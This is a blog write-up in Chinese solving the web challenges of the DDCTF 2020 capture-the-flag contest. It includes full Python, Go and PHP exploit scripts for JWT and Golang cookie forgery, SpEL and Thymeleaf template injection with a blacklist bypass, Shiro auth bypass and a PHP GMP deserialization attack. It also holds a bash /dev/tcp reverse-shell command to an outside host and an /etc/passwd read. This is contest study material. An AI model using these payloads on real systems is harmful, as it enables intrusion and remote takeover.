DDCTF 2020 WEB WriteUp
Web签到题
第一个POST传入username和pwd会返回token,第二个POST传入username,pwd和token会得到client下载链接,但第二个POST直接提交是提示need ADMIN permission,看来需要伪造JWT,一开始利用c-jwt-cracker 爆破很久都没成功,后来队友成功了,发现secret key就是第一个POST包中自己传入的pwd,而我是因为一开始填的pwd太复杂…
将JWT中的userRole修改为ADMIN POST到/admin/auth
得到client下载地址
clinet向服务器发送command,可以在命令行export http_proxy=ip:port
设置代理,burp抓包
需要先解决的是signature的算法,队友逆出签名计算方法为 HMAC sha256 加密 command|time_stamp
后base64编码,HMAC加密的密钥为DDCTFWithYou
然后测试了很久发现是可以注入SPEL表达式,最终POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
import requests import re import time import urllib.parse def getSignature(command,time): command=urllib.parse.quote(command) headers = { "Host": "1024tools.com", "Content-Type": "application/x-www-form-urlencoded" } url = "https://1024tools.com/hmac" data="query="+command+"|"+time+"&algo=sha256&key=DDCTFWithYou" res = requests.post(url=url,headers=headers,data=data) r=re.compile('B:(HMAC(.*?)<textarea class="form-control" id="result_base64" rows="2" spellcheck="false" name="result" cols="50">(.*?)</textarea>',re.DOTALL) return r.search(res.text).group(2) def sendCommand(command,time): signature = getSignature(command,time) headers = { "Host": "117.51.136.197", "Content-Type": "application/json" } url = "http://117.51.136.197/server/command" data = '{"signature":"'+signature+'","command":"'+command+'","timestamp":'+time+'}' res = requests.post(url=url,headers=headers,data=data) return res.text command = "T(java.nio .file.Files).lines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'))" print(sendCommand(command,str(int(time.time()))))
卡片商店
借入卡片的时候有溢出漏洞,借入1000000000000,账户立即入账1000000000000,但只需还3567587330,然后兑换礼物
得到提示
url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12
由cookie中session的特征一顿百度谷歌后,确定了是来自Golang的securecookie,Udc13VD5adM_c10nPxFu@v12
是密钥,应该是需要伪造session中的某些字段(这里是将admin设为true),POC如下
(session base64解码后是明文数据,所以securecookie.New(hashKey, nil)
第二个参数应该传入nil,至于map[interface{}]interface{}这个结构的构造,由于不太懂Golang,是观察session base64解密后的明文试了很久才得出的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
package main //go get github.com/gorilla/sessions import "github.com/gorilla/securecookie" import "fmt" var hashKey = []byte("Udc13VD5adM_c10nPxFu@v12") var s = securecookie.New(hashKey, nil) func main() { encode() } func encode(){ value := map[interface{}]interface{} {"admin":true,"wallet":"{\"owings\":[],\"invests\":[],\"money\":996432412472,\"now_time\":1599208994,\"start_time\":1599208954}"} encoded, err := s.Encode("session", value) if err == nil { fmt.Println(encoded) }else{ fmt.Println(err) } } func decode(){ value := make(map[interface{}]interface{}) var err error if err = s.Decode("session", "MTU5OTIwOTAzNHxEdi1CQkFFQ180SUFBUkFCRUFBQV81Yl9nZ0FDQm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQVp6ZEhKcGJtY01DQUFHZDJGc2JHVjBCbk4wY21sdVp3eGZBRjE3SW05M2FXNW5jeUk2VzEwc0ltbHVkbVZ6ZEhNaU9sdGRMQ0p0YjI1bGVTSTZPVGsyTkRNeU5ERXlORGN5TENKdWIzZGZkR2x0WlNJNk1UVTVPVEl3T0RrNU5Dd2ljM1JoY25SZmRHbHRaU0k2TVRVNU9USXdPRGsxTkgwPXyt-B6Jm23Kk8B5z2K_UKTx67JL4Qxam0wgJg3Oh7H38w==", &value); err == nil { fmt.Println(value) }else{ fmt.Println(err) } }
最后带上伪造的session访问/flag
Easy Web
这题从早上一直肝到下午,终于拿到一血,感觉对Java知识点考察很多
抓包发现有rememberMe=deleteMe,第一反应是Shiro反序列化漏洞,拿Xray跑了一波常用key无果,就又尝试了Shiro的权限绕过漏洞,成功访问到index路由
CVE-2020-11989
在网页源码中发现文件下载接口./img?img=static/hello.jpg
,然后此时的思路就是读配置文件,读class文件,审计,找洞
WEB项目首先是WEB-INF/web.xml
比较有用的是这俩spring的配置,这里classpath是指WEB-INF目录下的classes目录
WEB-INF/classes/spring-web.xml
拿到了项目部分包名,后面读取class文件时需要(包名对应路径)
WEB-INF/classes/spring-core.xml
其实看到有个模板引擎thymeleaf就猜到后面可能要考Java的模板注入
WEB-INF/classes/spring-shiro.xml
得到一个类名,那就可以读取class文件了
WEB-INF/classes/com/ctf/auth/ShiroRealm.class
然后反编译根据Java代码中的import的类去读取了其他class,但没有具体进展,最后是由命名规则猜测文件名得到了WEB-INF/classes/com/ctf/controller/AuthController.class
是admin的话重定向到这个路由,那么直接利用Shiro权限绕过漏洞访问
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index
没错就是考察的thymeleaf模板注入,不过这里貌似有黑名单,具体表现就是不能出现引号,也就是说字符串要另外想办法构造,不能出现某些方法的关键字,比如File类中的readXxx方法,反射中的invoke方法,导致没办法用常规办法执行命令和读取文件,也不能通过反射动态调用被ban的方法。
后面很多时间都是在绕这里的限制,最后的解决方法就是
字符串通过字符拼接来构造
1
<input th:value=${T(com.ctf.model.User).getName()[3].replace(46,108)+T(com.ctf.model.User).getName()[3].replace(46,51)+T(com.ctf.model.User).getName()[3].replace(46,121)+T(com.ctf.model.User).getName()[3].replace(46,120)}>
防止类名被ban,使用getClassLoader的loadClass动态加载所需类
1
<input th:value=${T(com.ctf.model.User).getClassLoader().loadClass(类名字符串)}>
使用Files类的list和lines方法列举和读取文件,使用toArray() 和 Arrays.toString() 把内容流转换为字符串输出
1 2
Arrays.toString( java.nio.file.Files.list(java.nio.file.Paths.get("/")).toArray() ); Arrays.toString( java.nio.file.Files.lines(java.nio.file.Paths.get("/etc/passwd")).toArray() );
最后POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
import requests import urllib.parse import re headers = { "Host": "116.85.37.131", "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://116.85.37.131", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", } def render(payload): print("[+] submit...") url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize" data = "content="+urllib.parse.quote_plus(payload) res = requests.post(url = url,headers = headers,data = data) if re.search("Success! Please fetch .(.*)? !",res.text) is None: print(res.text) exit() else: return re.search("Success! Please fetch .(.*)? !",res.text).group(1) def getResult(url): print("[+] getResult...") url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef"+url res = requests.get(url,headers=headers) return res.text def getString(string): strc="" for i in string: strc = strc + "T(com.ctf.model.User).getName()[3].replace(46,{})+".format(str(ord(i))) return strc[:-1] def getClass(className): return "T(com.ctf.model.User).getClassLoader().loadClass("+getString(className)+")" poc = "${"+getClass("java.util.Arrays")+".toString("+ getClass("java.nio.file.Files")+".list("+getClass("java.nio.file.Paths")+".get("+getString("/")+")).toArray()" +")}" poc = "<input th:value="+poc+">" print(getResult(render(poc))) poc = "${"+getClass("java.util.Arrays")+".toString("+ getClass("java.nio.file.Files")+".lines("+getClass("java.nio.file.Paths")+".get("+getString("/flag_is_here")+")).toArray()" +")}" poc = "<input th:value="+poc+">" print(getResult(render(poc)))
比赛结束后又尝试了绕过限制getShell成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
import requests import urllib.parse import re headers = { "Content-Type": "application/x-www-form-urlencoded", } def submit(payload): print("[+] submit...") url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize" data = "content="+urllib.parse.quote_plus(payload) res = requests.post(url = url,headers = headers,data = data) if re.search("Success! Please fetch .(.*)? !",res.text) is None: print(res.text) exit() else: return re.search("Success! Please fetch .(.*)? !",res.text).group(1) def getResult(url): print("[+] getResult...") url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef"+url res = requests.get(url,headers=headers) return res.text def getString(string): strc="" for i in string: strc = strc + "T(com.ctf.model.User).getName()[3].replace(46,{})+".format(str(ord(i))) return strc[:-1] def getClass(className): return "T(com.ctf.model.User).getClassLoader().loadClass("+getString(className)+")" def getResultWithParameter(url,parameter): print("[+] getResult...") url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef"+url+parameter res = requests.get(url,headers=headers) return res.text poc = "[[${"+getClass("java.lang.ProcessBuilder")+".getConstructors()[1].newInstance(#request.getParameterValues("+getString("cmd")+")).start()}]]" print(getResultWithParameter(submit(poc),"?cmd=/bin/bash&cmd=-c&cmd=echo success> /tmp/leixiao")) poc = "${"+getClass("java.util.Arrays")+".toString("+ getClass("java.nio.file.Files")+".list("+getClass("java.nio.file.Paths")+".get("+getString("/tmp")+")).toArray()" +")}" poc = "<input th:value="+poc+">" print(getResult(submit(poc))) poc = "${"+getClass("java.util.Arrays")+".toString("+ getClass("java.nio.file.Files")+".lines("+getClass("java.nio.file.Paths")+".get("+getString("/tmp/leixiao")+")).toArray()" +")}" poc = "<input th:value="+poc+">" print(getResult(submit(poc)))
1
getResultWithParameter(submit(poc),"?cmd=/bin/bash&cmd=-c&cmd="+urllib.parse.quote_plus("/bin/bash -i >&/dev/tcp/x.x.x.x/7777 0>&1") )
反弹Shell后发现权限很低
就拖份源码吧
Overwrite Me
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
<?php error_reporting(0); class MyClass { var $kw0ng; var $flag; public function __wakeup() { $this->kw0ng = 2; } public function get_flag() { return system('find /HackersForever ' . escapeshellcmd($this->flag)); } } class HintClass { protected $hint; public function execute($value) { include($value); } public function __invoke() { if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint)) { die("Don't Do That!"); } $this->execute($this->hint); } } class ShowOff { public $contents; public $page; public function __construct($file='/hint/hint.php') { $this->contents = $file; echo "Welcome to DDCTF 2020, Have fun!<br/><br/>"; } public function __toString() { return $this->contents(); } public function __wakeup() { $this->page->contents = "POP me! I can give you some hints!"; unset($this->page->cont); } } class MiddleMan { private $cont; public $content; public function __construct() { $this->content = array(); } public function __unset($key) { $func = $this->content; return $func(); } } class Info { function __construct() { eval('phpinfo();'); } } $show = new ShowOff(); $bullet = $_GET['bullet']; if(!isset($bullet)) { highlight_file(__FILE__); die("Give Me Something!"); }else if($bullet == 'phpinfo') { $infos = new Info(); }else { $obstacle1 = new stdClass; $obstacle2 = new stdClass; $mc = new MyClass(); $mc->flag = "MyClass's flag said, Overwrite Me If You Can!"; @unserialize($bullet); echo $mc->get_flag(); }
/hint/hint.php
得到提示和一半flag
以关键字google到参考文章https://hackerone.com/reports/198734
覆盖$mc
对象的flag
属性,命令注入,题目中的$mc在本地搭建环境打印出来后为object#4,尝试了很久很久才发现文章中的poc里的s:1:"1"
要改成s:1:"4"
,其中的4决定了GMP覆盖的对象是哪个object,DateInterval为php5.6-5.6.11可利用的内置类,POC如下
1 2 3 4
<?php $inner = 's:1:"4";a:3:{s:5:"kw0ng";R:2;s:4:"flag";s:43:"-exec cat /HackersForever/suffix_flag.php ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; echo $exploit;
后来看其他师傅的WP发现不用GMP,也可以直接构造POP链获取flag,参考https://www.anquanke.com/post/id/216694
(一直不知道在$v
可控的情况下,可以传入元素为一个对象和函数名的数组,这样$v()
就能调用这个对象的方法)
- source: l3yx's blog
评论